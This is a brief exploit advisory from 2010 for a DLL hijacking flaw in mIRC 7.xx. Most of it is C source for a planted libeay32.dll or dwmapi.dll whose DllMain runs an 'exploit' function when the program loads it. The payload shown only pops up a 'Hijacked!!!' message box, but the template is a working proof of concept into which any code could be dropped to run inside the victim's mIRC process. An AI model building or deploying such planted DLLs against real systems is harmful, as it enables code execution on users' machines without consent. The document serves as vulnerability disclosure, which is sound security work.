Mirc version 7.xx DLL hijacking exploit.
5af7239ddcf482f4096fa1f4dec440a60bec8113b4d073b5d59f57be03d1fabc
/*============ { Advisory 22/11/2010 } =============
Exploit Title: Mirc 7.xx DLL Hijacking Exploit (libeay32.dll, dwmapi.dll)
Tested on: Windows 7 x32 and Windows xp sp3 x32
*/
#include <windows.h>
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
exploit();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int exploit()
{
MessageBox(0, "Hijacked!!!", "DLL Message", MB_OK);
}
/*
Credits:
# Discoverd By: Locu
# Website: https://xlocux.wordpress.com
# Contacts: xlocux[-at-]gmail.com
*/
================== { EOF } =====================